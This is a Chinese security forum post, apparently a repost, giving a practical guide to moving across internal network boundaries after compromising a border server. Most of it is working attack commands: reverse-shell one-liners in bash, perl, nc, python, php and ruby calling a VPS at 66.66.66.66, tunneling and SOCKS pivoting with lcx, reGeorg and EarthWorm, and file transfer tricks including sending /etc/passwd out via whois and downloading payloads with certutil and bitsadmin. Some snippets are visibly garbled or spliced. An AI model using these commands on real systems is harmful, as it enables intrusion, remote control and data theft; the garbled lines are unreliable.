安全矩阵

 找回密码
 立即注册
搜索
查看: 2659|回复: 0

内网跨“边界”

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-9 08:54:21 | 显示全部楼层 |阅读模式
原文链接:内网跨“边界”

“边界”通常是指内网与外网之间的那条边界,在内网中,边界也包括各个区域之间的边界。本篇文章主要介绍在内网各种环境中的shell反弹、内网穿透及文件传输方面常用的一些方法和工具,利用这些方法来跨越内网中的层层边界。
当我们获取到互联网边界服务器权限之后,我们可以通过边界服务器对内网进行探测,收集一些内网信息,比如扫描内网存活的主机、系统指纹识别、开放的端口和服务,之后通过某些攻击方式获取到内网服务器权限。如果内网环境比较复杂,划分多个区域,不通区域之间访问策略各有限制,就需要在内网区域之间进行层层穿透。

网络连通性

获取到内网某台设备权限之后,需要先测试一下网络连通性,常用的测试有ping、http、tcp、dns等方式。
ping:   
    ping www.xx.com  
http:  
    curl www.xx.com
dns:

    •                 在http://www.dnslog.cn/里生成一个子域名,xxxx.dnslog.cn
    •                 使用nslookup xxxx.dnslog.cn
    •                 查看该子域名访问记录,如果没有记录,则说明不可以访问互联网

           

内网跨边界之反弹shell

我们在获取内网设备权限的时候可以将其shell反弹到我们位于公网的VPS上,利用后渗透工具协同作战,可以方便进行我们后续的工作。
VPS假定的ip为66.66.66.66,监听端口为1234
nc -lvvp 1234bash:
bash -I >& /dev/tcp/66.66.66.66/1234 0>&1
perl:
perl -e 'use Socket;$i="66.66.66.66";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'ets);IO.popen(cmd,"r"){|io|c.print io.read}end'
nc:
nc -vv 66.66.66.66 1234 -e /bin/bash
telnet:
mknod backpipe p && telnet 66.66.66.66 1234 0<backpipe | /bin/bash 1>backpipe
python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("66.66.66.66",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php:
php -r '$sock=fsockopen("66.66.66.66",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("66.66.66.66","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

内网跨边界之内网穿透

在内网设备不能出网的情况下,我们可以建立隧道从而达到我们访问内网的目的;同样我们也可以利用隧道对多区域多层级内网进行穿透,直抵目标。
穿透前,client端只能访问到web_server,无法访问到db_server

穿透后,client通过web_server,可以访问到db_server

代理分为正向代理和反向代理
正向代理:代理客户端流量,对服务端而言无法发现真实的客户端信息。

反向代理:代理服务端流量,对客户端而言无法发现真实的服务端信息。


网络层隧道

icmp隧道:
将数据封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复,这种方式可以绕过防火墙对TCP与UDP的限制策略,类似的还有IPv6隧道技术。
1、使用ptunnel在跳板机上建立隧道的一端。
ptunnel -x password
2、在VPS上使用ptunnel设置将内网3389端口和本地1234端口建立隧道
ptunnel -p 跳板机 IP -lp 1234 -da 内网设备 IP-dp 3389 -x password

传输层隧道

通常说我们说的端口转发就是建立了一个传输层隧道,我们进行端口转发可以绕过防火墙对某些特定端口的限制,比如22、3389等。
LCX:
lcx.exe -tran 1234 127.0.0.1 3389 #将本地3389端口转发到1234端口上
在跳板机执行 :
lcx.exe -slave 66.66.66.66 1234 192.168.1.1 3389 #将内网192.168.1.1上3389端口转发到外网66.66.66.66上的1234端口
在VPS上执行 :
lcx.exe -listen 1234 4321 #将1234端口的流量转发到4321端口,结合上条命令,访问66.66.66.66的4321端口就等同于访问192.168.1.1的3389端口

应用层隧道

利用HTTP、SSH等应用层协议建立隧道,HTTP隧道在web应用服务器上使用简单,对权限要求低,regeorg 与tunna、reDuh类似。
regeorg:
1、在web目录下上传脚本,以aspx为例,上传成功后访问该脚本,显示如下图。

2、在VPS上运行:
python reGeorgSocksProxy.py -u "http:// xx.com/tunnel.aspx" -l 0.0.0.0 -p 1234 #这样VPS的1234端口与web服务器的隧道就建立起来了。
3、配置好socks代理设置后就可以通过本地的1234端口访问web服务器可访问的内网设备。
ssh tunnel:
ssh -C -f -N -g -L 0.0.0.0:1234:192.168.1.1:3389 user@跳板机ip -p 22(需要跳板机ssh的密码)
将内网192.168.1.1的3389端口通过跳板机转发到vps的1234端口。
socks代理
ew(EarthWorm)
EW 是一套便携式的内网穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道。
正向socks代理:
ew -s ssocksd -l 1080
反向socks代理:
在vps上执行:
ew -s rcsocks -l 1080 -e 1234
在跳板机上执行:
ew -s rssocks -d vps_ip -e 1234
在vps上通过1080端口即可访问跳板机内网段设备。
二级正向代理:
在一级内网机器上执行(该一级内网机器可访问二级内网):
ew -s ssocksd -l 1081
在跳板机上进行端口转发:
ew -s lcx_tran -l 1080 -f 一级内网ip -g 1081
在VPS上配置socks代理,代理配置指向跳板机的1080端口,即可访问二级内网。
EW最有强大的就是它的多级代理,操作方便,层层穿透,直达目标。

内网跨边界之文件传输

进入内网后,可能需要将某些文件工具进行上传或下载,但是内网数据存放的环境各种各样,在面对不同的内网环境情况下,我们需要多储备一些在不同环境下进行文件传输的方法。
nc:
接收机:
nc -lvvp 1234 > save.txt   #将收到的文件保存为save.txt
发送机:
nc 接收机ip 1234 < send.txt #传输send.txt文件
此时接收机上的save.txt文件就是发送机上的send.txt文件。
whois命令:
接收机:
nc -lvvp 1234
发送机:
whois -h 接收机ip -p 1234 `cat /etc/passwd `
此时在接收机上即可看到发送机的/etc/passwd信息
vbs:
在发送机web根目录下放置一个send.zip
在接收机上创建save.vbs,内容如下:
  1. set xPost=createObject("Microsoft.XMLHTTP")
  2. xPost.Open "GET","http://发送机ip/send.zip",0
  3. xPost.Send()
  4. set sGet=createObject("ADODB.Stream")
  5. sGet.Mode=3
  6. sGet.Type=1
  7. sGet.Open()
  8. sGet.Write xPost.ResponseBody
  9. sGet.SaveToFile "c:\save.zip",2
复制代码

执行后在C盘录下查看save.zip。Python:
在发送机web根目录下放置一个send.zip
在接收机上创建save.py,内容如下:
  1. #!/usr/bin/python
  2. import urllib2
  3. u = urllib2.urlopen('http://发送机ip/send.zip')
  4. localFile = open('/tmp/save.zip','w')
  5. localFile.write(u.read())
  6. localFile.close()
复制代码

执行后在/tmp目录下查看。ruby:
在发送机web根目录下放置一个send.zip
在接收机上创建save.rb,内容如下:
  1. #!ruby
  2. #!/usr/bin/ruby
  3. require 'net/http'
  4. Net::HTTP.start("发送机ip/send.zip"){|http|
  5. r=http.get("/send.zip")
  6. open("/tmp/save.zip","wb"){|file|
  7. file.write(r.body)


  8. }
  9. }
复制代码
执行后在/tmp目录下查看。
wget:
在发送机web根目录下放置一个send.zip
在接收机执行
wget http://发送机ip/send.zip -P /tmp/
powershell:
在发送机web根目录下放置一个send.zip
在接收机创建save.ps1,内容如下:
  1. $d = New-Object System.Net.WebClient
  2. $d.DownloadFile("http://发送机ip/send.zip","c:/save.zip")
复制代码
perl:
在发送机web根目录下放置一个send.zip
在接收机创建save.pl,内容如下:
  1. use LWP::Simple;my $url = 'http://发送机ip/send.zip';my $file = '/tmp/save.zip';getstore($url,$file);bitsadmin:
  2. 在发送机web根目录下放置一个send.zip
复制代码
在接收机执行
bitsadmin /transfer n http://发送机ip/send.zip c:\save.zip
scp:
在发送机/tmp目录下创建send.txt
在接收机执行
scp user@发送机ip:/tmp/send.txt save.txt
certutil:
在发送机web根目录下放置一个send.zip
在接收机执行
certutil.exe -urlcache -split -f http://发送机ip/send.zip c:\save.zip
随着安全设备和安全软件开始 “盯上”这些工具,检测力度的升级使得很多工具都会被查杀,工具免杀是个很好的研究方向。攻、防总是相爱相杀,在对抗中提升各自的能力,推动安全技术的发展。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:34 , Processed in 0.018981 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表